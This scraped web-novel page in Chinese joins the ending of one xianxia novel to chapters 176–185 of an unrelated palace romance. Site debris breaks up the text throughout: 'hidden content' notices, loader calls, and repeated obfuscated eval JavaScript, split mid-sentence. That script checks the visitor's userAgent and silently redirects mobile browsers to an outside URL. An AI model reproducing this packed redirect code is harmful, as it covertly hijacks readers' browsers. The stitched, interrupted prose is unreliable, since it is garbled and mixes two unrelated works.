“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十六章 除夕 到了除夕这天,京城又飘起了雪花。 今晚国公府各房各院都要聚到正院吃年夜饭。 沈若芙下午提前沐浴完,换上一身新裁的水红色黄锦绣花衣裙,让飞雪给自己梳了个精致的发髻,特意戴了江辞镜送她的那盒首饰。 中午吃过午饭,江辞镜就去了外院,说是有公务要忙,沈若芙也没多问,不想都到傍晚了还不见人影。 眼见窗外天色越来越暗,沈若芙不免有些心急。她坐在梳妆台前,一边拿起铜黛对镜描眉,一边使唤正在收拾屋子的小桃:“你快去外院瞧瞧,世子爷怎么还没回来。” 小桃应了声是,刚挑帘出去不久,江辞镜就进来了。 沈若芙摆手让飞雪退下,举起台上的铜镜左右照了照,确认自己的妆容化得还算得体,才放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104715|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜子,起身朝江辞镜走去 ******后面还有2106个字内容被隐藏了****** ******后面还有2106个字内容被隐藏了****** loadBookInfo(34, 13260807, 176,''迫嫁权臣''); 第一百七十七章 戏弄 正院的年夜饭,江辞镜和沈若芙果然是全家最后一个到的,比一向爱磨蹭的齐国公到的还晚。 江老夫人起初还以为小两口闹矛盾了,毕竟不管是长孙还是长媳,都从未如此失礼过。临近开席时,见到两个人手牵着手过来,依旧恩爱的模样,这才松了口气。 一家子吃过年夜饭,外头的雪也停了。 几个孩子因为这场小雪,在屋里憋了一整天,都迫不及待地想出去放鞭炮。 除夕夜要守岁,大人们可以打牌聊天消遣,孩子们可以玩的东西却不多。 江老夫人便做主让下人们到花园里扫出一块空地来,让孩子们尽情的玩乐,谁也不准扫兴。 晚辈们同长辈们拜完年,便都回了各自的院子。 沈若芙牵着江辞镜的手从正院出来,沿着挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113604|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大红灯笼的游廊回锦明堂 ******后面还有2021个字内容被隐藏了****** ******后面还有2021个字内容被隐藏了****** loadBookInfo(34, 13260807, 177,''迫嫁权臣''); 第一百七十八章 玩闹 “别动。”江辞镜不轻不重地拍了一下沈若芙的屁/股。 只这一下,背上正在胡乱扭动的人果然不动了。 江辞镜一边抗人进屋,一边吩咐丫头打一盆温水进来。 沈若芙正纳闷他要水做什么,就被他稳稳当当地放到了洗漱架前。 双脚一沾地,沈若芙下意识就要跑,被他一把拽住,拉到身前站好。 “跑什么?不许跑。” 沈若芙眼珠子一转,抬手搂住他的脖颈,眨了眨眼,笑道:“我开个玩笑罢了,世子爷该不会生气了吧?” 江辞镜不说话。 丫头端着水盆低着头飞快地进来,放好后,又飞快地出去了。 江辞镜拿下她的手臂,取了一条巾子,放进水里打湿,单手拧到五成干,作势要帮她擦脸。 沈若芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117261|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里一咯噔,同时身体往后一躲,警惕 ******后面还有2273个字内容被隐藏了****** ******后面还有2273个字内容被隐藏了****** loadBookInfo(34, 13260807, 178,''迫嫁权臣''); 第一百七十九章 闷气 不论是放在三个多月前刚嫁进来时那会儿,还是放在两人已心意相通的现在,沈若芙都无论如何也想不到,高高在上的世子爷有朝一日会做出这种事来。 沈若芙没有因为他挠痒痒而生他的气,毕竟那是自己作恶在先,却因为他这一个看似不经意,实则石破天惊的举动,而郁闷得不轻。 从下床洗漱更衣,到两人面对面用早饭,再到一起出门去给长辈们拜年,沈若芙都没再跟江辞镜说过一句话。 对方若主动开口,她也只是敷衍地嗯哼两声。 两人正往承安堂走去,经过抄手游廊时,沈若芙忽听身旁的男人说道: “你瞧,那儿有朵赵粉开了,真漂亮。” “刚下过雪,哪来的赵粉?”沈若芙一边脱口而出,一边好奇地顺着他指的方向看去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122618|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 目光所及之处 ******后面还有1813个字内容被隐藏了****** ******后面还有1813个字内容被隐藏了****** loadBookInfo(34, 13260807, 179,''迫嫁权臣''); 第一百八十章 危机 前些个月,江老夫人带着二儿子和二儿媳到高家看望虚弱的大孙女,一边心疼一边没忍住说了她一顿。平时再怎么玩闹都不要紧,都要临盆了还如此随心所欲。说穿了,不把自己和孩子的命当一回事。 今日见大孙女大雪天还抱着出生没几个月的孩子跑过来给自己拜年,高兴之余,又忍不住说了她几句。 沈若芙倒觉得,姑娘家虎一点也不都是坏处,起码不容易被人欺负。 据说当年江淮月被南安郡王欺负过后,某次上街偶遇,还曾被对方再次出言调戏,**淮雪抡起竹棍敲了个脑瓜崩,一口气追了四五条街,裤子都跑没了。 从那以后,南安郡王见着江淮雪就躲,还在背地里管她叫母老虎,传扬得到处都是。 江淮雪听后却嗤笑一声,说道:“我就当他是在夸赞我好了。” …… “义哥儿那边怎么回事,为何都过年关了,还没收到吏部的文书?” 拜见过江老夫人,俞秀兰迫不及待地拉着女儿私下问道。 自打去年女儿生产时,女婿被南安郡王趁机摆了一道,丢了户部郎中的官职,便一直闲赋在家。说是心疼媳妇,要伺候媳妇养病,可这都快半年过去了,外头不免传出些流言蜚语,多是说高侍郎年迈已不得圣心,自然不愿起复他犯了事的儿子。 高侍郎的仕途如何,俞秀兰管不着,她疼爱的长女,可不能嫁给一个整天无所事事的丈夫。 实在不行,她还得拉下脸面去找三弟妹问问。 江淮雪便知道自己今日回来,母亲定要同她唠叨这个,回道:“娘,你就放心吧,吏部那边随时都能空出位置来给义哥儿,是我不想他太早回官署去,想他多在家陪陪我和女儿。” 俞秀兰捏了捏女儿的脸颊:“你傻了?男人在他这个年纪,除了传宗接代,最重要的就是替自己替家人挣个好前途。你可不能为了点儿女情长耽误了他,将来他若仕途不顺,怕要反过来怪你呢。” “他敢!”江淮雪拍开母亲的手,注意力却全放到了坐在院子里陪初姐儿玩翻花绳的貌美堂嫂身上了。 “好了母亲,我都知道了你先去吧,我去找堂嫂说说话。” 俞秀兰知道念叨多了也不好,无奈离去。 江淮雪整理了一下衣裙,昂首挺胸地朝院子里走去。 沈若芙头低着,余光却已瞥见了江淮雪的身影。她玩完了手上这一局,收起花绳交到江淮初手中,和她说了几句话。 江淮初转身向走来的堂姐问了好,便跑去找其他小伙伴玩了。 江淮雪看着江淮初跑开的背影,似笑非笑地说:“初姐儿和你倒是亲近。” 沈若芙微笑着说:“初姐儿是个好孩子,我初来乍到,她总是愿意多照顾着我。” 江淮雪走到石桌旁坐下,随手摘了果盘上的葡萄来吃:“我瞧大堂哥待你很是体贴,适才共处一室,那眼睛都快黏你身上了,还需要一个小娃娃顾你。” 沈若芙自然不会同江淮雪说那些误会,但也感觉到了对方来者不善,收起笑容落座。 江淮雪打量她片刻,笑眯眯地问:“你嫁过来也三个多月了吧,可曾见过我四堂弟?” 沈若芙脸色一僵,平静地道:“还不曾。我听母亲说,四弟前些个月受了伤,正在苏州养伤,年后或许就能回来了。” 江淮雪:“不用等年后,他年前就已经上路了,随时都可能到京城……出现在大堂嫂跟前。” 沈若芙浑身一凛,揪紧了手中的帕子。 “想不到吧?”江淮雪洋洋得意的,“说起来,你还是家里除了我以外第一个知道江辞年已经离开苏州的人呢,除非世子爷的消息比我的还快。” 沈若芙:“是你送他离开的?” 江淮雪挑眉:“可不是么。我也没想到,从前我跟江辞年的关系那么不好,关键时刻,他居然主动写信来求我帮忙,那封信就藏在他送我女儿的满月礼里,家里人谁都没发现。也许,就因为我和他关系不好,才没人怀疑他会这么做吧。” 说多错多,沈若芙不知道她对自己与江辞**了解多少,是从何知晓的,也不想继续和她谈论此事,于是转移了话题。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126571|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你与四弟年纪相仿,又在一块长大,为何关系会不和睦?” 江淮雪:“这说来就话长了。我俩还在斗草的年纪,就互相看不顺眼。当然最主要,是他对不住我在先。” 沈若芙:“从何说起?” 江淮雪往她那边凑近了些,道:“你俩在一块那么长时间,他就没告诉过你?他十四岁那年,不顾我阻拦,拐走了我十年的闺中密友,不到三个月就把人甩了,害得我也被人记恨上了,从那以后我就发誓,有我没他,有他没我!” 沈若芙不想评价什么。她和江辞年好的时候,他从来不主动和她提起自己家里人的事,或者他以前好过的那些姑娘。 后者还情有可原,怕她吃醋。至于前者,沈若芙也是分开后才想明白,那是因为江辞年从没想过要娶她进门,只是和她玩玩罢了,自然也就不必提。 现如今,沈若芙回想起这些往事,早已不会再心痛了。她在意的是,如何才能不让江辞年毁掉她眼前的幸福。 “原来如此。” 江淮雪:“你就不想问,我为何要帮他逃回来?” 沈若芙浅笑:“我若说不想,三小姐能放过我么?” “当然不能了。”江淮雪调皮地眨眨眼睛。“实话告诉你吧。你刚和江辞年好上的时候,我就知道你的存在了,那时候我一心想报复他,见你们好了那么长时间还没分开,还想过破坏你们的关系呢。结果我刚想好计划,你们就一拍两散了。” “没想到,才过去不到一年,你居然成为了我的大堂嫂,你说,这算不算一种缘分呢?” 所以她全都知道…… 沈若芙:“三小姐帮四弟回来,莫不是出于报复的心思?” “算是吧。”江淮雪若有所思,“我从不觉得你在和大堂哥成亲前和别的男人相爱过有何不妥,男人可以三妻四妾,女人一辈子只嫁一个夫君,凭什么不能为自己多做打算?” “可谁让江辞年是我最讨厌的人呢?我就想看到他看到你和大堂哥恩恩爱爱,然后伤心欲绝的样子。让他知道什么叫多行不义必自毙!” 第一百八十一章 射箭 沈若芙心里生气,面上却不显,冷静地道:“三小姐可知,你此举也是在伤害你大堂哥?” “也许吧。”江淮雪面露惋惜,“不过我大堂哥肩上承担着家族的重担,不是那种会沉溺于儿女情长的男人。他对你好,只是出于一个丈夫对妻子的尊重,换个女人来,也是一样的。所以,我一点不担心他,我担心的是你。” 江淮雪弯腰握住沈若芙的手背,恳求道:“大堂嫂,答应我,将来你就算和大堂哥感情破裂了,也千万别回头和江辞年在一起,不然我可要失望了。” 沈若芙算是明白了,江淮雪和江辞年会合不来,纯粹是一山不容二虎。 他们二人本质上是同一种人,都是那种会为了一己私念不顾别人死活的人。 “放心好了,我不会让你失望的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126572|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江淮雪 ******后面还有1840个字内容被隐藏了****** ******后面还有1840个字内容被隐藏了****** loadBookInfo(34, 13260807, 181,''迫嫁权臣''); 第一百八十二章 上元节 大年初三这天,江辞镜利用最后一天休沐,陪沈若芙回了一次门。 这次回沈家,主要是和三妹妹商量搬去孟家祖宅居住的事。 外祖母和舅母那边,沈若芙已经提前写信询问过她们。外祖母虽仍在养病,但在大夫和家人的悉心照料下,身体一日一日的好转,得知了沈若芙的忧虑,外祖母十分支持她把沈若安送到自己身边来生活。舅母也没有意见。 至于沈长渭,他虽一向喜欢和长女对着干,却也对长女此举并无异议。 三女儿长大了,需要有女性的长辈在身边教导,住到她外祖母那边去,自己也能少操一份心。 沈若芙决定暂且不告诉父亲舅舅要回京任工部侍郎的事,免得父亲猜测到舅舅能升官是江辞镜在从中周旋,嫉妒心骤起,做出什么不理智的事来。 因是过年,沈若芙还在沈家见到了放假在家的沈见青。 沈见青如今整个人看起来比沈若芙出嫁前那段时间正常多了,还会主动帮父亲招待江辞镜,只是依旧沉默少言,在江辞镜面前,刻意不与沈若芙进行眼神接触,似是怕被瞧出什么。 沈若芙现在再面对他,已经能做到心平气和了,只要他不再执着于歪门邪道,那他在她眼里,就勉强还算是个好弟弟。 安置好三妹妹,沈若芙便和江辞镜回了国公府。 过了一个充实而愉快的年,一眨眼上元节就要到了。 这些天,江辞镜照常要到官署当值,沈若芙闲来无事,便和女眷孩子们一起做上元花灯。 往年上元节,沈若芙顶多从外头买来几个现成的花灯,和三妹妹一起在上头做一些装饰,便算作是自己做的了。今年还是**瑛无意间提起自己儿时跟着祖母在乡下做花灯的趣事,几个孩子听着有趣,缠着要江老夫人同意他们在家里做花灯。 江老夫人能不满足孩子们朴素的心愿?当即叫婆子去买了材料来,让**瑛带着孩子们做。 做花灯需要先扎骨架。选用平直、竹节长的竹竿破成薄薄的竹条,在清水中浸泡后,放在烛火上烘烤,使之弯曲成自己想要的弧度,便可以开始用丝线来捆扎搭建骨架了。 这一步最麻烦,需要两个合力完成。 沈若芙便和江淮初一起做,**瑛带着七少爷,二少夫人马氏自己的孩子还太小了,便带着弟弟九少爷做。 扎好骨架,接下来一步是裱糊。裱糊用的是丝绸或宣纸,取面粉制成的糨糊,将丝绸或宣纸平整均匀地糊贴在灯面上。 糊好后,把灯笼放在阴凉处风干,就可以在灯面上进行彩绘装饰了。 沈若芙和江淮初两人一共做了三个花灯,江淮初一个,沈若芙除了自己的,给在官署忙碌的江辞镜也悄悄做了一个,预备着上元节那天给他一个惊喜。 到了装饰这一步,江淮初便不需要大堂嫂再帮忙了,自己自由发挥,用各色颜料在灯面上涂涂画画。 沈若芙给自己画的是“福星高照”的内容。给江辞镜的花灯共有六个面,为了贴合他武将的身份,特意画了关云长舞大刀、项庄舞剑等形象。 沈若芙第一回做花灯,就给自己上了这么大的难度,几个孩子都搞定了各自的花灯开始玩了,她还在屋里埋头苦干。 有几次江辞镜傍晚回到家中,坐了好一会儿,才见沈若芙匆匆忙忙地从外头回来,不免好奇地问她去做什么了。 沈若芙自然不会告诉他,偷偷摸摸地忙碌到上元节的下午,才终于大功告成。 今年的上元夜,不光城里有大型灯会,齐国公府所在的春雨胡同也挂满了各式各样,精巧玲珑的花灯。天上飞的,地上跑的,还有荷花灯、芙蓉灯、绣球灯、柚皮灯……一眼望去,满目的五彩缤纷,绚丽多姿。 入夜后,国公府各房聚在一起吃了顿晚饭,早早就散了。 几个孩子缠着要爹娘带他们出门看灯会,就连齐国公爷也准备带上他的爱妾上街看灯。 早上醒来时,江辞镜问过沈若芙,沈若芙不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131913|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上街人挤人,表示在自家的胡同里看看就够了。 于是,夫妻俩吃完晚饭,便在承安堂陪老夫人聊家常,打算晚些时候再出去,避开人流。 不过多时,江炎过来了。 江辞镜看到他,便和沈若芙说:“我去外院书房处理点事,马上就回来。” 沈若芙点点头。 等江辞镜走后,她又坐了一会儿,也起身和老夫人告退了。 外头寒风呼啸,沈若芙一出门,一张小脸就被风打得发疼,连忙裹紧了身上的狐皮斗篷。 看这天色,怕是又要下雪了。 今年的冬天似乎格外的寒冷,沈若芙想着给江辞镜准备了好几日的惊喜,眼里浮现出丝丝笑意,不由自主地加快了脚步。 沈若芙回锦明堂取了两个花灯,又往外院的青鸟阁行去。 说起来,这还是她成婚后第一次去江辞镜在外院的书房,守在青鸟阁外的江炎看到夫人过来,吓了一跳。 江炎正要行礼,沈若芙忙示意他不许出声,让丫头和婆子们都候在院门外,自己一个人一手提着一个花灯进了院子。 沈若芙悄摸着过了月门,就听见前头传来江辞镜的说话声。他站在正房门外,对面的人被庭院中间的那块高耸的太湖石挡住了,从沈若芙的方向看过去看不见人影。 她轻手轻脚地沿着小径往前走,利用那块太湖石遮挡自己的身影,打算躲到石头后,等那个人离开后再出去给江辞镜一个惊喜。 没想到她刚靠近庭院中央,还没挨到太湖石呢,就听见江辞镜厉声喊道: “谁在那儿?!” 饶是沈若芙已与江辞镜同床共枕多时,也被他严肃冷酷的声音吓得身子一抖。许是江辞镜在她跟前温声细语太久了,久到她都快忘了这个男人也有令人畏惧的一面。 不过,沈若芙专程跑来找他,可不怕他会生气。她是先从石头后探出一颗脑袋,朝江辞镜尴尬一笑,随后提着两个花灯走了出来。 第一百八十三章 再见江辞年 见到那双含着笑意的眼眸,江辞镜缓和了神色,心里不觉一软。 “你怎么过来了?” “我来……”沈若芙嬉笑着朝江辞镜走去,正想同对方展示自己手里的花灯,视线无意间落在他对面的少年身上,脸上的笑容顿时僵住了。 少年一身湖蓝色大氅,银白色的披风,清秀俊朗的脸庞有几分倦容,看身形似乎消瘦了许多,当唇角一勾,依旧是沈若芙记忆中那副讨人厌的模样。 江辞镜被妻子手中的花灯短暂的吸引住了目光,没有注意到她的异常。 当他回过神,沈若芙的神色已经恢复了平常。 江辞镜上前两步牵过她的手腕,亲切地同她介绍道江辞年:“这是我四弟,江辞年,先前和你说过的,他去年一直在苏州养伤,今晚刚到家里。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137498|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈若芙努力挤出一 ******后面还有2131个字内容被隐藏了****** ******后面还有2131个字内容被隐藏了****** loadBookInfo(34, 13260807, 183,''迫嫁权臣''); 第一百八十四章 偷听 屋里时不时传出一些会让人面红耳赤的声响,小桃虽还是个半大的孩子,却早已经习惯了。甚至还能淡定的一边留意声音,一边埋头打盹。 忽然,一个修长的身影从外头走了进来。 小桃抬起头,往院子里迷迷糊糊地定睛一看,还以为自己看错了。 她揉了揉眼睛,睁大眼再定睛一看,倒吸一口凉气。 这个活阎王怎么来了?! 小桃惊慌失措地从被窝里爬起来,因在守夜,她衣裳齐整,出了被窝就往院子里冲,一直快步走到江辞年跟前才停下,向他福了福身子。 “四少爷,您怎么过来了?” 江辞年看向小桃,见这丫头面色发白,觉得怪有意思的,提起手中的花灯说道: “这么晚来打扰你们,实在是不好意思。适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146034|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才我在外院捡到一个花灯,听人说 ******后面还有2285个字内容被隐藏了****** ******后面还有2285个字内容被隐藏了****** loadBookInfo(34, 13260807, 184,''迫嫁权臣''); 第一百八十五章 算旧账 等江辞镜去了净室沐浴,沈若芙悄悄去了外间,把小桃叫进来问话。 小桃可谓是被气得不行,这会儿终于有机会和夫人说话,一股脑地把江辞年干的好事告诉了夫人。 当得知江辞年居然干出偷听他们墙角这种厚颜无耻之事来,沈若芙又是震惊又是愤怒,脸色青一阵紫一阵,急忙问: “他说这些话时,没有被其他丫头婆子听见吧?” 小桃摇摇头:“应当没有,今日上元节,除了院门外有守夜的婆子,其他人都回去休息了。” “那就好。”沈若芙略微松了口气,又揪紧了帕子。 江辞年,他到底想要干什么? 与其躲着胡乱猜测,沈若芙决定找个机会去会一会他。 …… 第二日是年后的第一次朝会,江辞镜早早就出门了。 沈若芙也没心思多睡,天一亮就起来了,吃完早饭,便带着飞雪去给江老夫人请安。 其他几房的人听说昨夜四少爷回来了,今早都聚到了老夫人这边。 堂屋里,江老夫人正盯着乖孙稀罕,左摸摸右摸摸,把他全身上下都打量了个遍,最后拍拍他的脸。 “让祖母瞧瞧。这孩子生了一场病回来,瘦了!打你满十五岁起,祖母就没见你瘦成这样过。在苏州是不是吃不好也睡不好?” 江辞年今日穿了一件圆领青色锦袍,衬得他的面容十分俊秀。他反驳道:“祖母,我只是断了一条腿,没有生病。” “腿都断了,还说没生病!”江老夫人不轻不重地拍了一下他的肩膀,催促道,“赶紧的,走两步给祖母瞧瞧,看看你的腿恢复得怎么样了,没有变成坡子吧?” 江辞年很是无奈。 要他当着这么多人的面乖乖站着一动不动给祖母稀罕就算了,还要他走两步,显得他像个傻子似的,他才不走呢。 